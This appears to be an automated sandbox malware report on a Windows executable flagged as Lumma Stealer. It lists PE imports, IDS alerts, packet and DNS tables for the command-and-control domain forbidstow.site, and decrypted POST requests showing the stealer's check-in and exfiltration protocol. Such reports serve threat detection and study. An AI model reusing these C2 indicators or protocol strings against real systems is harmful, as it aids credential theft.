.bss	0x57000	0x51c00	0x51c00	ff713db17f3ac5e33b4d86df1990eb2c	False	1.0003314936926606	data	7.999515451399284	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateEventW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, GlobalFindAtomW, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ResetEvent, RtlUnwind, SetEndOfFile, SetEnvironmentVariableW, SetEvent, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T22:23:00.028830+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.41.39	443	TCP
2024-10-30T22:23:00.028830+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.41.39	443	TCP
2024-10-30T22:23:01.444131+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	104.21.41.39	443	TCP
2024-10-30T22:23:01.444131+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	104.21.41.39	443	TCP
2024-10-30T22:23:03.137386+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.41.39	443	TCP
2024-10-30T22:23:08.621674+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49716	104.21.41.39	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 22:22:58.636281967 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:58.636348963 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:22:58.636445999 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:58.637974977 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:58.638011932 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:22:59.254863024 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:22:59.254950047 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:59.259042025 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:59.259067059 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:22:59.259350061 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:22:59.304045916 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:59.308721066 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:59.308757067 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:22:59.308805943 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.028834105 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.029479027 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.029555082 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.030652046 CET	49704	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.030709028 CET	443	49704	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.128081083 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.128158092 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.128236055 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.128746986 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.128782034 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.752458096 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.752594948 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.753911972 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.753925085 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.754192114 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:00.755477905 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.755508900 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:00.755542040 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444123983 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444204092 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444231987 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444262028 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444303989 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444303989 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.444360971 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444392920 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.444416046 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.444665909 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.444770098 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.445399046 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.445456028 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.445472956 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.445529938 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.565004110 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565146923 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565174103 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565237045 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.565263987 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565284967 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565326929 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.565901995 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.565938950 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.565965891 CET	49706	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.565982103 CET	443	49706	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.699404955 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.699489117 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:01.699567080 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.699851990 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:01.699882984 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:02.318469048 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:02.318581104 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:02.336643934 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:02.336694002 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:02.336908102 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:02.382190943 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:02.391796112 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:02.391974926 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:02.392016888 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.137389898 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.137471914 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.137536049 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.137639046 CET	49709	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.137693882 CET	443	49709	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.252726078 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.252804041 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.252970934 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.253281116 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.253319025 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.882649899 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.882749081 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.883966923 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.883994102 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.884208918 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.891202927 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.891393900 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.891433954 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:03.891499043 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:03.891511917 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:04.423563957 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:04.423639059 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:04.423708916 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:04.423898935 CET	49713	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:04.423938990 CET	443	49713	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:04.627496004 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:04.627533913 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:04.627610922 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:04.627960920 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:04.627978086 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:05.291425943 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:05.291524887 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:05.292684078 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:05.292697906 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:05.292896032 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:05.298466921 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:05.298666000 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:05.298696995 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:05.298763990 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:05.298774958 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:06.159440994 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:06.159511089 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:06.159589052 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:06.159903049 CET	49714	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:06.159925938 CET	443	49714	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:06.428049088 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:06.428145885 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:06.428247929 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:06.428564072 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:06.428601027 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.044147968 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.044245005 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.045849085 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.045876026 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.046118021 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.047590971 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.047730923 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.047743082 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.542850018 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.542927980 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.543127060 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.543524981 CET	49715	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.543556929 CET	443	49715	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.989247084 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.989310026 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:07.989597082 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.989804029 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:07.989835978 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.616506100 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.616655111 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.618254900 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.618273973 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.618524075 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.620001078 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621032000 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621073961 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.621217966 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621260881 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.621417999 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621465921 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.621674061 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621725082 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.621925116 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.621979952 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.622246981 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.622291088 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.622312069 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.622342110 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.622447968 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.622487068 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.622555971 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.622651100 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.622699976 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.633173943 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.633394003 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.633440018 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:08.633490086 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.633584023 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:08.639352083 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.451776028 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.451894045 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.451956034 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:10.452084064 CET	49716	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:10.452106953 CET	443	49716	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.488492966 CET	49718	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:10.488558054 CET	443	49718	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.488662958 CET	49718	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:10.488945961 CET	49718	443	192.168.2.5	104.21.41.39
Oct 30, 2024 22:23:10.488981009 CET	443	49718	104.21.41.39	192.168.2.5
Oct 30, 2024 22:23:10.585362911 CET	49718	443	192.168.2.5	104.21.41.39

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 22:22:58.603852987 CET	54516	53	192.168.2.5	1.1.1.1
Oct 30, 2024 22:22:58.628040075 CET	53	54516	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 22:22:58.603852987 CET	192.168.2.5	1.1.1.1	0xdedb	Standard query (0)	forbidstow.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 22:22:58.628040075 CET	1.1.1.1	192.168.2.5	0xdedb	No error (0)	forbidstow.site		104.21.41.39	A (IP address)	IN (0x0001)	false
Oct 30, 2024 22:22:58.628040075 CET	1.1.1.1	192.168.2.5	0xdedb	No error (0)	forbidstow.site		172.67.142.84	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

forbidstow.site

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:22:59 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: forbidstow.site
2024-10-30 21:22:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 21:23:00 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:22:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1j7crstjdmamnah9nf13n98cao; expires=Sun, 23-Feb-2025 15:09:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ISPIb6%2BKyOskOTZKZObjq69m%2BoGlQOpyHRTAEHSw92iF4llF5cSNy3ujvNiy5KCcKGyoKkKQYC3cTjlYiAhxG%2FtQNp%2FySTzLNocJo%2BIB516oiULuGvN%2FkN8m5c4FakciIY0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76c11e886b4d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1180&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=2329847&cwnd=251&unsent_bytes=0&cid=da295d8c86809bcb&ts=790&x=0"
2024-10-30 21:23:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 21:23:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:00 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: forbidstow.site
2024-10-30 21:23:00 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 31 4e 43 57 32 35 2d 2d 34 32 34 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=1NCW25--424&j=
2024-10-30 21:23:01 UTC	1010	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ftob4os5irtfieg7hsno3nlkfp; expires=Sun, 23-Feb-2025 15:09:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2E2cd10b7jAEHMUmc332Kol5lpDjXE1jrG5pG8yn1dD7Cm%2FB2uC%2FY8zBmmplZsSBLsOr6snME3uLLakI%2B68QyDYIfFNL5GWwOqVCC%2Bu2n6yCNiDtJbWCqyeVvaJknzfJI1U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76ca2f3bddae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=944&delivery_rate=2604316&cwnd=32&unsent_bytes=0&cid=c6923fafce2fb8ca&ts=697&x=0"
2024-10-30 21:23:01 UTC	359	IN	Data Raw: 34 64 64 0d 0a 47 6d 4b 68 61 6f 65 4e 46 58 69 41 58 7a 54 2b 71 6a 33 68 6d 4d 47 6c 39 48 66 56 6a 33 32 61 4f 48 74 6d 46 69 66 6b 61 52 78 68 51 4e 64 49 76 62 6b 35 57 76 4d 36 46 73 54 65 54 35 54 39 37 59 65 56 45 2f 65 31 47 2f 74 55 43 41 4d 36 42 5a 49 45 50 69 41 45 77 41 62 30 36 44 6c 61 35 53 63 57 78 50 46 47 77 2f 32 76 68 38 35 56 73 4f 55 66 2b 31 51 5a 42 33 31 49 6c 41 56 2f 63 67 37 47 41 75 4c 75 63 52 6e 73 4d 6c 47 62 7a 31 79 4c 39 71 6a 49 6e 42 72 33 6f 31 2f 2f 51 6c 6c 63 4e 47 71 42 48 58 31 58 41 39 49 42 70 66 41 35 41 36 49 36 57 74 79 51 48 34 44 39 6f 38 6d 53 45 37 37 6e 46 66 4a 63 47 41 4a 38 56 34 30 50 64 48 49 41 78 51 50 6f 35 32 55 55 35 6a 56 61 6e 63 56 63 77 37 54 6a 77 49 35 56 37 36 31 4d 79 6c 6b 49 46 57 Data Ascii: 4ddGmKhaoeNFXiAXzT+qj3hmMGl9HfVj32aOHtmFifkaRxhQNdIvbk5WvM6FsTeT5T97YeVE/e1G/tUCAM6BZIEPiAEwAb06Dla5ScWxPFGw/2vh85VsOUf+1QZB31IlAV/cg7GAuLucRnsMlGbz1yL9qjInBr3o1//QllcNGqBHX1XA9IBpfA5A6I6WtyQH4D9o8mSE77nFfJcGAJ8V40PdHIAxQPo52UU5jVancVcw7TjwI5V761MylkIFW
2024-10-30 21:23:01 UTC	893	IN	Data Raw: 5a 64 6d 64 70 55 69 76 65 75 78 35 73 66 75 4f 34 66 2f 31 41 54 43 33 35 42 69 77 5a 34 65 41 43 44 52 71 58 6f 62 31 71 36 66 58 57 5a 32 46 69 50 37 4f 48 39 31 67 72 35 39 46 2f 2f 56 6c 6c 63 4e 45 32 44 43 48 31 7a 44 38 41 41 37 76 31 33 43 4f 51 77 55 34 37 4f 57 6f 33 77 6f 4e 57 63 47 37 48 75 46 76 4e 54 48 41 4e 77 42 63 68 4c 65 57 42 41 6d 30 6a 45 34 6e 77 57 36 43 70 57 33 4e 63 52 6d 72 71 6b 79 39 5a 4e 39 2b 6b 65 2f 46 73 64 43 6e 70 42 69 67 31 77 64 51 2f 46 41 75 58 6f 66 52 4c 71 50 46 75 58 78 31 2b 47 39 36 66 42 6d 68 53 79 72 56 47 34 58 51 46 45 4c 41 57 6f 44 48 31 71 51 76 59 4c 36 2b 46 77 44 4b 49 69 47 49 57 49 57 49 2b 36 2b 34 65 59 45 4c 6a 2f 48 75 70 66 46 78 5a 34 51 49 41 47 66 58 59 41 78 67 2f 6f 34 58 45 64 34 Data Ascii: ZdmdpUiveux5sfuO4f/1ATC35BiwZ4eACDRqXob1q6fXWZ2FiP7OH91gr59F//VllcNE2DCH1zD8AA7v13COQwU47OWo3woNWcG7HuFvNTHANwBchLeWBAm0jE4nwW6CpW3NcRmrqky9ZN9+ke/FsdCnpBig1wdQ/FAuXofRLqPFuXx1+G96fBmhSyrVG4XQFELAWoDH1qQvYL6+FwDKIiGIWIWI+6+4eYELj/HupfFxZ4QIAGfXYAxg/o4XEd4
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 33 66 38 66 0d 0a 6e 67 54 36 7a 52 45 6c 73 52 52 6b 66 65 70 77 70 67 5a 73 75 49 66 2b 56 73 58 44 6e 38 46 79 45 74 35 59 45 43 62 53 4d 72 69 5a 77 6a 6f 4e 6b 66 65 2f 56 79 4e 39 4b 54 52 31 67 72 35 39 46 2f 2f 56 6c 6c 63 4e 45 36 41 42 33 4a 34 42 74 45 47 36 76 31 39 43 4f 59 7a 55 70 44 47 56 6f 37 31 70 74 57 53 46 61 58 73 47 76 39 55 46 42 5a 78 42 63 68 4c 65 57 42 41 6d 30 6a 66 32 33 41 4b 38 7a 6f 55 71 63 74 52 6a 66 32 31 68 34 6c 62 72 71 30 59 39 42 70 42 52 48 64 4a 69 77 4a 37 64 78 4c 4a 42 4f 54 39 63 42 50 72 4e 31 65 53 78 31 53 50 2f 37 48 4d 6d 52 32 34 37 42 4c 31 55 52 30 45 4e 41 76 47 44 47 59 34 57 49 4d 70 36 4f 42 6c 47 66 4e 2f 59 35 2f 47 55 59 54 73 34 39 6a 59 44 50 66 71 45 37 67 43 57 51 56 34 53 59 63 45 65 48 Data Ascii: 3f8fngT6zRElsRRkfepwpgZsuIf+VsXDn8FyEt5YECbSMriZwjoNkfe/VyN9KTR1gr59F//VllcNE6AB3J4BtEG6v19COYzUpDGVo71ptWSFaXsGv9UFBZxBchLeWBAm0jf23AK8zoUqctRjf21h4lbrq0Y9BpBRHdJiwJ7dxLJBOT9cBPrN1eSx1SP/7HMmR247BL1UR0ENAvGDGY4WIMp6OBlGfN/Y5/GUYTs49jYDPfqE7gCWQV4SYcEeH
